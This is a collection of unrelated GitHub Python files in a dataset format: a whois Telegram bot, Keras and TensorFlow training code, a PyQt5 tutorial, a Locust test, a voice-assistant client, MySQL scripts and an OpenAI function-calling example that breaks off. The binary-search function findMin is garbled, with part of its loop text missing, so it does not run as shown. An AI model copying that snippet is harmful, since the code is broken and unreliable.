\"Organisation: {}\\n\".format(\n informations[\"registrant\"][\"organization\"]\n )\n reponse += \"Pays: {}\\n\".format(informations[\"registrant\"][\"country\"])\n if \"email\" in informations[\"registrant\"]:\n reponse += \"Email: {}\\n\".format(informations[\"registrant\"][\"email\"])\n\n if \"administrativeContact\" in informations:\n reponse += \"\\n--- Organisation ---\\n\"\n if \"organization\" in informations[\"administrativeContact\"]:\n reponse += \"Contact: {}\\n\".format(\n informations[\"administrativeContact\"][\"organization\"]\n )\n if \"country\" in informations[\"administrativeContact\"]:\n reponse += \"Pays: {}\\n\".format(\n informations[\"administrativeContact\"][\"country\"]\n )\n if \"email\" in informations[\"administrativeContact\"]:\n reponse += \"Email: {}\\n\".format(\n informations[\"administrativeContact\"][\"email\"]\n )\n\n if \"technicalContact\" in informations:\n reponse += \"\\n--- Contact Technique ---\\n\"\n if \"organization\" in informations[\"technicalContact\"]:\n reponse += \"Contact: {}\\n\".format(\n informations[\"technicalContact\"][\"organization\"]\n )\n if \"country\" in informations[\"technicalContact\"]:\n reponse += \"Pays: {}\\n\".format(\n informations[\"technicalContact\"][\"country\"]\n )\n if \"email\" in informations[\"technicalContact\"]:\n reponse += \"Email: {}\\n\".format(\n informations[\"technicalContact\"][\"email\"]\n )\n\n if \"nameServers\" in informations:\n reponse += \"\\n--- Noms des serveurs ---\\n\"\n reponse += \"{}\".format(informations[\"nameServers\"][\"rawText\"])\n\n return reponse\n except KeyError as e:\n logging.error(\"Analyse retournée par whois erronée\")\n print(e)\n return \"[ERROR] analyse fourni par whois inexploitable\"\n\n\ndef get_whois(domain):\n req = requests.get(ADRESSE + \"&domainName=\" + domain)\n analyse = json.loads((req.content).decode(\"utf-8\"))\n return print_analyse(analyse)\n\n\n@restricted\ndef whois(update: Update, context: CallbackContext):\n \"\"\"Affiche le status de la raspberry.\"\"\"\n demande = \" \".join(context.args).lower().split(\" \")[0]\n reponse = \"\"\n if demande != \"\":\n reponse = get_whois(demande)\n else:\n reponse = 'Faire \"/whois domain/ip/email\"'\n context.bot.send_message(\n chat_id=update.message.chat_id, text=reponse, parse_mode=telegram.ParseMode.HTML\n )\n\n\ndef add(dispatcher):\n \"\"\"\n Renvoi un whois.\n \"\"\"\n if cfg.whois_key != \"0\":\n dispatcher.add_handler(CommandHandler(\"whois\", whois))\n","repo_name":"mic-rigaud/Blueberry","sub_path":"src/plugins/whois/whois.py","file_name":"whois.py","file_ext":"py","file_size_in_byte":4864,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"34185002603","text":"import numpy as np\nfrom numpy import array\nimport tensorflow as tf\nimport keras\nfrom keras.preprocessing.text import one_hot\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Input, Dropout, LSTM, Activation\nfrom keras import optimizers\nfrom keras.layers import Flatten\nfrom keras.layers.embeddings import Embedding\nimport config\nimport os\nimport logging\nfrom keras.models import model_from_json\nfrom keras.callbacks import EarlyStopping\nfrom keras.layers.normalization import BatchNormalization\nfrom pre_processing_ref import load_data_from_csv, seg_words, train_vec, train_tencent_model, convert_to_onehot, sentence_to_indice, embedding_data, wordToIndex\n# define documents\ntrain=load_data_from_csv(config.train_data_path)\nval = load_data_from_csv(config.validate_data_path)\nprint(\"finish loading data\")\n\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s [%(levelname)s] <%(processName)s> (%(threadName)s) %(message)s')\nlogger = logging.getLogger(__name__)\n#test = load_data_from_csv(config.test_data_path)\n\n#val dataset as hold-out val set and test dataset; do cv on train dataset\n#m_val = val.shape[0]\n#train_doc = train[:, 1]\n#val_doc = val[0:7500, 1]\n#test_doc = val[7501:m_val-1, 1]\ntrain_doc = train.iloc[1:10, 1]\nval_doc = val.iloc[0:5, 1]\ntest_doc = val.iloc[6:10, 1]\nprint(\"finish splitting\")\nprint(train_doc.shape)\nprint(val_doc.shape)\nprint(test_doc.shape)\n\n# define class labels\n#train_labels = array(train[:, 2:])\n#val_labels = array(val[0:7500, 2:])\n#test_labels = array(val[7501:m_val-1, 2:])\ntrain_labels = array(train.iloc[1:10, 2:])\nval_labels = array(val.iloc[0:5, 2:])\ntest_labels = array(val.iloc[6:10, 2:])\n#print(\"test number\"+str(test_labels.shape[0]))\nprint(\"finish loading labels\")\nprint(train_labels.shape)\nprint(val_labels.shape)\nprint(test_labels.shape)\n\ntrain_indices = np.load(\"train_indices.dat\")\nval_indices = np.load(\"val_indices.dat\")\ntest_indices = np.load(\"test_indices.dat\")\nmax_length=train_indices.shape[1]\nprint(\"max_length\")\nprint(max_length)\n\nembedding_matrix=np.load(\"embedding_matrix.dat\")\nvocab_len = embedding_matrix.shape[0]\nemb_dim = embedding_matrix.shape[1]\nprint(\"vocab_len\")\nprint(vocab_len)\nprint(\"emb_dim\")\nprint(emb_dim)\n\n# define the model\nDROPOUT=0.3\nNUM_HID=16\nREC_DROP=0.3\nn = train_labels.shape[1]\n#model=dict()\nfor i in range(n):\n\tlogger.info(\"start train column\" +str(i))\n\n\tmodel = Sequential()\n\t#model.add(Input(shape=(max_length,), dtype='int32'))\n\tmodel.add(Embedding(vocab_len, emb_dim, input_length=max_length, weights=[embedding_matrix], trainable=False))\n\tmodel.add(LSTM(NUM_HID, dropout=DROPOUT, recurrent_dropout=REC_DROP,return_sequences=True))\n\tmodel.add(LSTM(NUM_HID, dropout=DROPOUT, recurrent_dropout=REC_DROP,return_sequences=False))\n\t#model.add(Flatten())\n\tmodel.add(Dense(4))\n\tmodel.add(BatchNormalization())\n\tmodel.add(Activation('softmax'))\n\t# compile the model\n\tadam = optimizers.Adam(lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=None, decay=0.0, amsgrad=False)\n\tmodel.compile(optimizer=adam, loss='categorical_crossentropy', metrics=['acc'])\n\t# summarize the model\n\tprint(model.summary())\n\t# fit the model\n\tn = train_labels.shape[1]\n\t#one_hot y\n\ty_train=np.array(convert_to_onehot(train_labels[:, i], 4))\n\ty_val=np.array(convert_to_onehot(val_labels[:, i], 4))\n\t#print(y)\n\tearly_stopping =EarlyStopping(monitor='val_loss', patience=3)\n\tmodel.fit(train_indices, y_train, validation_data=(val_indices, y_val), epochs=2, verbose=0, callbacks = [early_stopping])\n\n\t# evaluate the model\n\ty_test=np.array(convert_to_onehot(test_labels[:, i], 4))\n\tloss, accuracy = model.evaluate(test_indices, y_test, verbose=0)\n\tprint('Accuracy: %f' % (accuracy*100))\n\n\tlogger.info(\"complete train model\" + str(i))\n\t#model.save(str(i) + 'th model.h5')\n\tprint(\"complete saving model\")\n\tdel model\n\t#model[i] = model #store model to dict\n\nlogger.info(\"complete train model\")\n","repo_name":"suofeif/229-230project","sub_path":"keras_rnn.py","file_name":"keras_rnn.py","file_ext":"py","file_size_in_byte":3918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27439690563","text":"import tensorflow as tf\n\ndef decode_fn(record_bytes):\n return tf.io.parse_single_example(record_bytes,\n {\"image\": tf.io.FixedLenFeature([], dtype=tf.string, default_value=''),\n \"label\": tf.io.FixedLenFeature([], dtype=tf.int64, default_value=0),\n 'x': tf.io.FixedLenFeature([], dtype=tf.int64, default_value=0),\n 'y': tf.io.FixedLenFeature([], dtype=tf.int64, default_value=0),\n 'w': tf.io.FixedLenFeature([], dtype=tf.int64, default_value=0),\n 'h': tf.io.FixedLenFeature([], dtype=tf.int64, default_value=0),\n })\n\ndef process_dataset(raw_dataset):\n image = tf.io.decode_raw(raw_dataset['image'], out_type=tf.uint16)\n image = tf.reshape(image, [256, 256])\n image = tf.cast(image, dtype=tf.float32)\n image = tf.expand_dims(image, axis=-1)\n image = tf.image.grayscale_to_rgb(image)\n \n #channel_avg = tf.constant([0.485, 0.456, 0.406])\n #channel_std = tf.constant([0.229, 0.224, 0.225])\n #image = (image / 255.0 - channel_avg) / channel_std\n #image = tf.image.resize(image, [224, 224])\n \n image = tf.image.stateless_random_brightness(image, max_delta=0.05, seed=(1, 1))\n image = tf.image.stateless_random_contrast(image, lower=1.0, upper=1.5, seed=(1, 1))\n image = tf.image.stateless_random_saturation(image, lower=1.0, upper=2.0, seed=(1, 1))\n image = image / 255.\n \n label = raw_dataset['label']\n label = tf.one_hot(label, depth=3)\n label = tf.cast(label, dtype=tf.float32)\n bbox = [tf.cast(raw_dataset['x'], dtype=tf.float32)/256., tf.cast(raw_dataset['y'], dtype=tf.float32)/256., tf.cast(raw_dataset['w'], dtype=tf.float32)/256., tf.cast(raw_dataset['h'], dtype=tf.float32)/256.]\n bbox = tf.convert_to_tensor(bbox, dtype=tf.float32)\n return image, (label, bbox)\n\ndef physionet1_data():\n full_ds = tf.data.TFRecordDataset(\"gs://imagine_lab/eye_gaze_mimic.tfrecord\").map(decode_fn)\n full_ds = full_ds.map(process_dataset, num_parallel_calls=tf.data.AUTOTUNE)\n train_len = sum(1 for _ in full_ds)\n train_size = int(0.7 * train_len)\n print(train_len, train_size)\n train_ds = full_ds.take(train_size)\n test_ds = full_ds.skip(train_size)\n train_ds = train_ds.shuffle(buffer_size=10000)#.repeat()\n train_ds = train_ds.batch(8, drop_remainder=True)\n train_ds = train_ds.prefetch(buffer_size=tf.data.AUTOTUNE)\n test_ds = test_ds.shuffle(buffer_size=10000)#.repeat()\n test_ds = test_ds.batch(8, drop_remainder=True)\n test_ds = test_ds.prefetch(buffer_size=tf.data.AUTOTUNE)\n return train_ds, test_ds\n\ndef physionet1_data_ablation(percentage=0.5):\n full_ds = tf.data.TFRecordDataset(\"gs://imagine_lab/eye_gaze_mimic.tfrecord\").map(decode_fn)\n full_ds = full_ds.map(process_dataset, num_parallel_calls=tf.data.AUTOTUNE)\n train_len = sum(1 for _ in full_ds)\n train_size = int(percentage * train_len)\n print(train_len, train_size)\n train_ds = full_ds.take(train_size)\n test_ds = full_ds.skip(train_size)\n train_ds = train_ds.shuffle(buffer_size=10000)#.repeat()\n train_ds = train_ds.batch(8, drop_remainder=True)\n train_ds = train_ds.prefetch(buffer_size=tf.data.AUTOTUNE)\n test_ds = test_ds.shuffle(buffer_size=10000)#.repeat()\n test_ds = test_ds.batch(8, drop_remainder=True)\n test_ds = test_ds.prefetch(buffer_size=tf.data.AUTOTUNE)\n return train_ds, test_ds\n\nif __name__ == '__main__':\n physionet1_data_ablation(percentage=0.6)","repo_name":"bmi-imaginelab/radiotransformer","sub_path":"mod_hvat/hvat_dataset.py","file_name":"hvat_dataset.py","file_ext":"py","file_size_in_byte":3419,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"2478346519","text":"def findMin( nums) :\n l = 0 \n r = len(nums)-1\n curmin = float(\"inf\")\n while l nums[r]:\n l = m+1\n else:\n r = m-1\n return min(curmin,nums[l]) \n# l = 0\n # r = len(nums)-1\n # res = nums[0]\n\n # while l<=r:\n # # sorted arr\n # if nums[l] < nums[r]:\n # res = min(res,nums[l])\n # break # break from while loop\n # # rotated arr\n # m = (l+r)//2\n # res = min(res,nums[m])\n # if nums[m] >= nums[l]:\n # l=m+1 # search in right sorted arr\n # else:\n # r = m-1\n # return res\nprint(findMin([3,4,5,1,2]))\nprint(findMin([4,5,6,7,0,1,2]))\n# gsdgfdgd\n \n\n","repo_name":"thenunachi/dailyPracticeLeetCode","sub_path":"leetcode/binarySearch/153.FindMinimuminRotatedSortedArray.py","file_name":"153.FindMinimuminRotatedSortedArray.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71309322387","text":"import PyQt5.QtWidgets as qtw\r\nimport PyQt5.QtGui as qtg\r\n\r\n\r\nclass mymainwindow(qtw.QWidget):\r\n def __init__(self):\r\n super().__init__()\r\n # title of our window\r\n self.setWindowTitle(\"my second PyQt5 project\")\r\n\r\n # size of our window\r\n #self.resize(500,400)\r\n\r\n # set Vertical Layout\r\n self.setLayout(Qt.QVBoxLayout())\r\n\r\n # set Horizontal Layout\r\n #self.setLayout(qtw.QHBoxLayout())\r\n\r\n # create a Label\r\n label = qtw.QLabel(\"Enter a place to visit ?\")\r\n # add the layout to window\r\n self.layout().addWidget(label)\r\n\r\n # change the font size in label\r\n self.setFont(qtg.QFont('times',25)) # 'time' is font style & 50 is font size\r\n\r\n # create a combo box\r\n #my_combo = qtw.QComboBox(self) # it is for normal combo box\r\n # In default \"editable=\" will be false, so that you cann't edit or text new item\r\n\r\n # To create a combo box and text a new item at top of combo box:\r\n my_combo = qtw.QComboBox(self , editable= True, insertPolicy=qtw.QComboBox.InsertAtTop)\r\n # here we changed \"editaple=\" to true, so that we can add or text on screen.\r\n # if \"inserPolicy=\" code is not written by defult it will insert at bottom.\r\n #To create a combo box and text a new item at bottom of combo box:\r\n #my_combo = qtw.QComboBox(self, editable=True, insertPolicy=qtw.QComboBox.InsertAtBottom)\r\n\r\n\r\n # add items in combo box\r\n my_combo.addItem(\"chennai\",\"its good place \") # here the first name<\"chennai\"> is text and\r\n # second name <\"its good place\"> is Data Type\r\n my_combo.addItem(\"coimbatore\" , 23) # Data Type can be string, integer, function and can be empty.\r\n my_combo.addItem(\"sathyamagalam\", qtw.QWidget)\r\n my_combo.addItem(\"tiruppur\") # this is example of empty Data Type\r\n\r\n # <.addItem> will display single item\r\n # <.addItems> will display multiple item\r\n my_combo.addItems([\"vkl\",\"trichy\",\"Erode\"])\r\n\r\n # To insert a new item\r\n my_combo.insertItem(1,\"tamil nadu\") # \"1\" is the index to be inserted and \"tamil nadu\" is the Text\r\n\r\n # To insert a list of items\r\n my_combo.insertItems(2,[\"india\", \"USA\", \"Japan\"])\r\n\r\n # put combo box on the screen\r\n self.layout().addWidget(my_combo)\r\n\r\n # create a button\r\n my_button = qtw.QPushButton(\"Continue..\",clicked= lambda :press_it())\r\n # 'clicked=' defines after the button is clicked, it opens the function\r\n\r\n\r\n self.layout().addWidget(my_button)\r\n\r\n\r\n def press_it():\r\n # add name to label\r\n label.setText(f\"Are you confirm to vist this place {my_combo.currentText()}\")\r\n # currentText() will show the selected text in from combo box in screen\r\n #label.setText(f\"Are you confirm to vist this place {my_combo.currentData()}\")\r\n # cu\r\n #label.setText(f\"Are you confirm to vist this place {my_combo.currentIndex()}\")\r\n # clear the entry box\r\n #my_entry.setText(\"\")\r\napp = qtw.QApplication([])\r\nwindow = mymainwindow()\r\nwindow.show()\r\napp.exec()","repo_name":"AnujBalu/PyQt5_Notes","sub_path":"YT_PyQt5/Ls_2_combo_entru_button.py","file_name":"Ls_2_combo_entru_button.py","file_ext":"py","file_size_in_byte":3368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24003508632","text":"from ex115.lib.interface import *\nfrom ex115.lib.arquivo import *\nfrom time import sleep\n\narq = 'cursoemvideo.txt'\n\nif not arquivoexiste(arq):\n criarArquivo(arq)\n\nwhile True:\n resposta = menu(['Ver Pessoas Cadastradas', 'Cadastrar Nova Pessoa', 'Sair do Sistema'])\n if resposta ==1:\n #Opcao de listar o conteudo do arquivo\n lerArquivo(arq)\n elif resposta ==2:\n cabecalho('Opção 2')\n elif resposta == 3:\n cabecalho('Saindo do sistema.... Até Logo!')\n else:\n print('\\033[31m Erro! Digite uma opção válida!\\033[m')\n sleep(1)","repo_name":"LuisLJSilva/Python-Curso-em-Video","sub_path":"Exercicios/ex115/sistema.py","file_name":"sistema.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74385972945","text":"# 导入locust的类,成员\n\nfrom locust import HttpUser, TaskSet, task, between\n\n# 任务类\n\nclass TestIndex(TaskSet):\n @task\n def getIndex(self):\n with self.client.get(\"/get_message\", catch_response=True) as resp:\n response = resp.json()\n # print(len(response[\"gonghang\"]))\n if len(response[\"gonghang\"]) == 16:\n resp.success()\n else:\n resp.failure(\"idcard is not found or len isn't 16\")\n\n\nclass WebSite(HttpUser):\n tasks = [TestIndex]\n # min_wait = 1000\n # max_wait = 2000\n wait_time = between(1, 2)\n","repo_name":"yzxwp/practice","sub_path":"LOCUST/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"38804181838","text":"from UdpComm import UdpComm\nimport pygtk\nimport json\nimport gtk\n\nclass Base:\n def __init__(self, behavior_comm):\n self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)\n self._behavior_comm = behavior_comm\n \n self.box1 = gtk.VBox(False, 0)\n self.window.add(self.box1)\n\n self.hbox1 = gtk.HBox(False, 0)\n self.pin_label = gtk.Label(\"Pin:\")\n self.pin_label.set_width_chars(10)\n self.pin_entry = gtk.Entry(max=0)\n self.pin_entry.set_text(\"7\")\n self.hbox1.pack_start(self.pin_label, True, True, 0)\n self.hbox1.pack_start(self.pin_entry, True, True, 0)\n self.box1.pack_start(self.hbox1, True, True, 0)\n\n self.hbox2 = gtk.HBox(False, 0)\n self.duration_label = gtk.Label(\"Duration:\")\n self.duration_label.set_width_chars(10)\n self.duration_entry = gtk.Entry(max=0)\n self.duration_entry.set_text(\"500\")\n self.hbox2.pack_start(self.duration_label, True, True, 0)\n self.hbox2.pack_start(self.duration_entry, True, True, 0)\n self.box1.pack_start(self.hbox2, True, True, 0)\n\n self.button = gtk.Button(\"open\")\n self.button.connect(\"clicked\", self.open_valve, None)\n self.box1.pack_start(self.button, True, True, 0)\n\n self.duration_entry.show()\n self.pin_entry.show()\n self.button.show()\n self.pin_label.show()\n self.duration_label.show()\n self.hbox1.show()\n self.hbox2.show()\n self.box1.show()\n self.window.show()\n\n def open_valve(self, widget, data=None):\n message = {'valves': {'pin': int(self.pin_entry.get_text()),\n 'action': 'create'}}\n\n self._behavior_comm.sendMessage(json.dumps(message))\n message['valves']['action'] = 'open'\n message['valves']['duration'] = int(self.duration_entry.get_text())\n self._behavior_comm.sendMessage(json.dumps(message))\n\n def main(self):\n gtk.main()\n\n\n#comm = UdpComm('127.0.0.1', 5010)\n#comm.sendMessage('{\"test\":\"passed\"}')\n\ndef main():\n base = Base(UdpComm('127.0.0.1', 5010))\n base.main()\n\nif __name__ == '__main__':\n main()\n","repo_name":"gnz5/BehaviorMate","sub_path":"utility/pyController.py","file_name":"pyController.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"737077235","text":"rawFile = open(\"input\", \"r\")\nlines = [None] * 3\nsum = 0\n\nwhile True:\n for index in range(3):\n lines[index] = rawFile.readline().strip()\n if not lines[index]:\n print(sum)\n exit()\n common = set(lines[0]).intersection(lines[1]).intersection(lines[2]).pop()\n number = ord(common)\n if number >= 97 and number <= 122:\n number -= 96\n else:\n number -= 38\n sum += number\n","repo_name":"Caruychen/AdventOfCode2022","sub_path":"day03/algo2.py","file_name":"algo2.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29279545510","text":"import requests\nfrom odoo import http\nfrom odoo.http import request\nfrom odoo.addons.portal.controllers.portal import CustomerPortal\n\n\nclass Courses(CustomerPortal):\n\n @http.route(\"/courses/\", type='http', auth='user', website=True)\n def list_courses(self, **kw):\n print(1)\n partner = request.env.user.partner_id\n student_id = request.env['students.course'].sudo().search([('student_access', '=', partner.id)], limit=1)\n teacher_id = request.env['teachers.course'].sudo().search([('teacher_access', '=', partner.id)], limit=1)\n if student_id:\n values = {}\n courses = request.env['courses.course'].sudo().search([('state', '=', 'open')])\n values.update({'courses': courses})\n print(2)\n return request.render('courses.list_courses', values)\n if teacher_id:\n values = {}\n courses = request.env['courses.course'].sudo().search(\n [('state', '=', 'open'), ('teacher', '=', teacher_id.id)])\n values.update({'courses': courses})\n print(3)\n return request.render('courses.list_courses', values)\n else:\n print(4)\n return request.render('website.page_404')\n\n @http.route(\"/courses//\", type='http', auth='user', website=True)\n def students_in_courses(self, courses_id):\n course = request.env['courses.course'].sudo().search([('id', '=', courses_id)], limit=1)\n if not course:\n return request.render('website.page_404')\n elif course.state != 'open':\n return request.render('website.page_404')\n else:\n values = {'courses': course}\n return request.render('courses.view_course', values)\n\n\n","repo_name":"m123euroblaze/Sprints_Python_Career_Starter","sub_path":"custom_addons/courses/controllers/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5734820229","text":"from snowboy import snowboydecoder\nimport sys\nimport signal\nimport time\n\nfrom funcs import capture_image_usb, say\nfrom api import post_face, get_reminders\n\nfrom apscheduler.schedulers.background import BackgroundScheduler\n\ninterrupted = False\n\nepoch = lambda: int(time.time() * 1000)\nanti_epoch = lambda epoch: time.strftime(\"%A at %I %p\", time.localtime(epoch))\n\nrecent_face_id = False\nrecent_face_id_time = -1\nmax_expire_time = 60 * 1000\n\nrecent_users = None\n\ndef on_req_face_identify():\n global recent_face_id, recent_face_id_time, max_expire_time, recent_users\n print(\"on_req_face_identify\")\n\n print(\"> Capturing image from USB camera...\")\n img_data = capture_image_usb()\n\n print(\"> Posting to backend...\")\n response = post_face(img_data)\n\n print(\"RESPONSE\")\n print(response)\n recent_users = response\n\n if response is None:\n say(\"An unknown error has occurred!\")\n elif 'error' in response:\n say(response['error'])\n elif len(response) > 0:\n say_string = \"\"\n for person_id, person_info in recent_users.items():\n say_string += person_info[\"msg\"] + \" \"\n say(say_string)\n recent_face_id = True\n recent_face_id_time = epoch()\n else:\n say(\"An unknown error has occurred!\")\n\ndef on_req_more_info():\n global recent_face_id, recent_face_id_time, max_expire_time, recent_users\n print(\"on_req_more_info\")\n print(epoch(), recent_face_id_time)\n\n # check if previous command was called or if just enough time has passed for the context to be relevent\n if not recent_face_id or epoch() - recent_face_id_time > max_expire_time:\n print(\"> false alarm\")\n return\n\n recent_face_id = False\n recent_face_id_time = -1\n\n say_string = \"\"\n for person_id, person_info in recent_users.items():\n print(person_info)\n say_string += person_info[\"additionalMsg\"] + \" \"\n\n say(say_string)\n\ndef on_req_query_reminders():\n reminders = get_reminders()\n print(reminders)\n valid_reminds = [reminder for reminder in reminders if not reminder[\"tripped\"]]\n say_string = f\"You have {len(valid_reminds)} upcomming events. \"\n for remind in valid_reminds:\n date_time = anti_epoch(int(remind['epoch'] / 1000))\n if remind[\"type\"] == \"medication\":\n say_string += f\"You'll need to take your medication by {date_time}. \"\n else: # type == appointment\n say_string += f\"You'll need to attend your doctor's appointment by {date_time}. \"\n\n say(say_string)\n\ndef signal_handler(signal, frame):\n global interrupted, scheduler\n # if scheduler is not None:\n # scheduler.shutdown()\n interrupted = True\n\ndef track_reminders():\n print(\"Checking reminders...\")\n reminders = get_reminders()\n print(reminders)\n # for remind in reminders:\n # remind[\"tripped\"] = epoch() >= remind[\"epoch\"]\n\n ticking_reminds = [remind for remind in reminders if not remind[\"tripped\"]]\n for remind in ticking_reminds:\n delta_time = remind[\"epoch\"] - epoch()\n check_times = [5 * 60 * 1000, 15 * 60 * 1000, 30 * 60 * 1000]\n error_margin = 10 * 1000\n\n # check if any reminders are within 1 second\n if delta_time <= 5 * 1000:\n if remind[\"type\"] == \"medication\":\n say(\"You have to take your medication now!\")\n else: # type == appointment\n say(\"You have to go to your doctor's appointment now!\")\n remind[\"tripped\"] = True\n return\n\n for ctime in check_times:\n if abs(delta_time - ctime) <= error_margin:\n mins = int(ctime / 60 / 1000)\n # check if any reminders are within the given minute marks, give or take 10 seconds\n if remind[\"type\"] == \"medication\":\n say(f\"You have to take your medication in {mins} minutes!\")\n else: # type == appointment\n say(f\"You have to go to your doctor's appointment in {mins} minutes!\")\n return\n\ndef interrupt_callback():\n global interrupted\n return interrupted\n\nif len(sys.argv) == 1:\n print(\"Error: need to specify the patient's name\")\n print(\"Usage: python3.6 lib/client.py john\")\n sys.exit(-1)\n\nperson = sys.argv[1]\n\n# print(\"Starting the reminder checker...\")\n# scheduler = BackgroundScheduler()\n# scheduler.add_job(track_reminders, 'interval', seconds=10)\n# scheduler.start()\n\nface_id_models = [ f\"who_are_you-{person}\", f\"dont_remember_you-{person}\" ]\nface_id_callbacks = [on_req_face_identify] * len(face_id_models)\n\nmore_info_models = [ f\"i_dont_understand-{person}\", f\"still_dont_remember-{person}\" ]\nmore_info_callbacks = [on_req_more_info] * len(more_info_models)\n\nreminder_recall_models = [ f\"my_todo_list-{person}\" ]\nreminder_recall_callbacks = [on_req_query_reminders] * len(reminder_recall_models)\n\n# assemble all to-be-loaded models for processing\ncombined_models = face_id_models + more_info_models + reminder_recall_models\nfinal_models = [\"hotword-models/\" + model + \".pmdl\" for model in combined_models]\ncombined_callbacks = face_id_callbacks + more_info_callbacks + reminder_recall_callbacks\n\n# set sensitivities for all models\nsensitivity_list = [0.45] + [0.5] * (len(final_models) - 1)\n\n# capture SIGINT signal, e.g., Ctrl+C\nsignal.signal(signal.SIGINT, signal_handler)\n\ndetector = snowboydecoder.HotwordDetector(final_models, audio_gain=1, sensitivity=sensitivity_list)\nprint('Listening... Press Ctrl+C to exit')\n\n# main loop\ndetector.start(detected_callback=combined_callbacks, interrupt_check=interrupt_callback, sleep_time=0.03)\n\ndetector.terminate()\n","repo_name":"CruzHacks2019/iris-raspi","sub_path":"lib/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":5637,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"39945062090","text":"import os\r\nimport sys\r\nimport mysql.connector\r\n\r\nclass find_payment_type:\r\n def Read_file(self):\r\n self.db = mysql.connector.connect(host=\"localhost\", user=\"root\", passwd=\"user123\", database=\"MENU\")\r\n self.cursor = self.db.cursor()\r\n\r\n self.t1 = input(\"Enter OrderNo : \")\r\n\r\n self.q1 = \"SELECT OrderNo FROM orderplaced\" # all orderno from orderplaced table...\r\n self.cursor.execute(self.q1)\r\n self.data = self.cursor.fetchall()\r\n # print(self.data)\r\n\r\n self.order = list(filter(lambda l1: (self.t1 in l1), self.data)) # check entered orderNo is present or not..\r\n # print(self.order) # tuple in list eg. [('order1',)]\r\n\r\n if (len(self.order) == 0):\r\n print(\"Order doesn't Exist...\")\r\n else:\r\n self.s1 = \"\"\r\n for var in self.order:\r\n self.s1 = ''.join(var[0]) # convert tuple in string(orderno-table name)...\r\n # print(\"s1:\",self.s1)\r\n self.q2=\"SELECT Ordercode,OrderNo FROM ordercode\"\r\n self.cursor.execute(self.q2)\r\n self.data2=self.cursor.fetchall()\r\n\r\n #print(self.data2) # [('6789','order2'),('1234','order3')]\r\n self.code=[''.join(var[0]) for var in self.data2 if (self.s1 in var)] # list comprehension for ordercode..eg. for order2=['6789']\r\n #print(self.code)\r\n print()\r\n\r\n for code in self.code:\r\n\r\n if(code=='1234'):\r\n print(\"Order done by Paytm...\")\r\n elif(code=='4567'):\r\n print(\"Order done by Netbanking...\")\r\n elif(code=='6789'):\r\n print(\"Order done by Card...\")\r\n\r\n\r\nobj=find_payment_type()\r\nobj.Read_file()","repo_name":"Avani1992/foody_database","sub_path":"find_payment_type.py","file_name":"find_payment_type.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15577774959","text":"import json\n\nfrom colorama import init, Fore\nfrom loguru import logger\nfrom openai import OpenAI\n\ninit(autoreset=True)\n\n\nclient = OpenAI(\n api_key=\"EMPTY\",\n base_url=\"http://192.168.20.59:7891/v1/\",\n)\n\n\n# Example dummy function hard coded to return the same weather\n# In production, this could be your backend API or an external API\ndef get_current_weather(location, unit=\"fahrenheit\"):\n \"\"\"Get the current weather in a given location\"\"\"\n weather_info = {\n \"location\": location,\n \"temperature\": \"72\",\n \"unit\": unit,\n \"forecast\": [\"sunny\", \"windy\"],\n }\n return json.dumps(weather_info)\n\n\nfunctions = [\n {\n \"name\": \"get_current_weather\",\n \"description\": \"Get the current weather in a given location.\",\n \"parameters\": {\n \"type\": \"object\",\n \"properties\": {\n \"location\": {\n \"type\": \"string\",\n \"description\": \"The city and state, e.g. San Francisco, CA\",\n },\n \"unit\": {\"type\": \"string\", \"enum\": [\"celsius\", \"fahrenheit\"]},\n },\n \"required\": [\"location\"],\n },\n }\n]\n\navailable_functions = {\n \"get_current_weather\": get_current_weather,\n} # only one function in this example, but you can have multiple\n\n\ndef run_conversation(query: str, stream=False, functions=None, max_retry=5):\n params = dict(model=\"qwen\", messages=[{\"role\": \"user\", \"content\": query}], stream=stream)\n if functions:\n params[\"functions\"] = functions\n response = client.chat.completions.create(**params)\n\n for _ in range(max_retry):\n if not stream:\n if response.choices[0].message.function_call:\n function_call = response.choices[0].message.function_call\n logger.info(f\"Function Call Response: {function_call.model_dump()}\")\n\n function_to_call = available_functions[function_call.name]\n function_args = json.loads(function_call.arguments)\n\n tool_response = function_to_call(\n location=function_args.get(\"location\"),\n unit=function_args.get(\"unit\"),\n )\n logger.info(f\"Tool Call Response: {tool_response}\")\n\n params[\"messages\"].append(response.choices[0].message.model_dump(include={\"role\", \"content\", \"function_call\"}))\n params[\"messages\"].append(\n {\n \"role\": \"function\",\n \"name\": function_call.name,\n \"content\": tool_response, # 调用函数返回结果\n }\n )\n else:\n reply = response.choices[0].message.content\n logger.info(f\"Final Reply: \\n{reply}\")\n return\n\n else:\n output = \"\"\n for chunk in response:\n content = chunk.choices[0].delta.content or \"\"\n print(Fore.BLUE + content, end=\"\", flush=True)\n output += content\n\n if 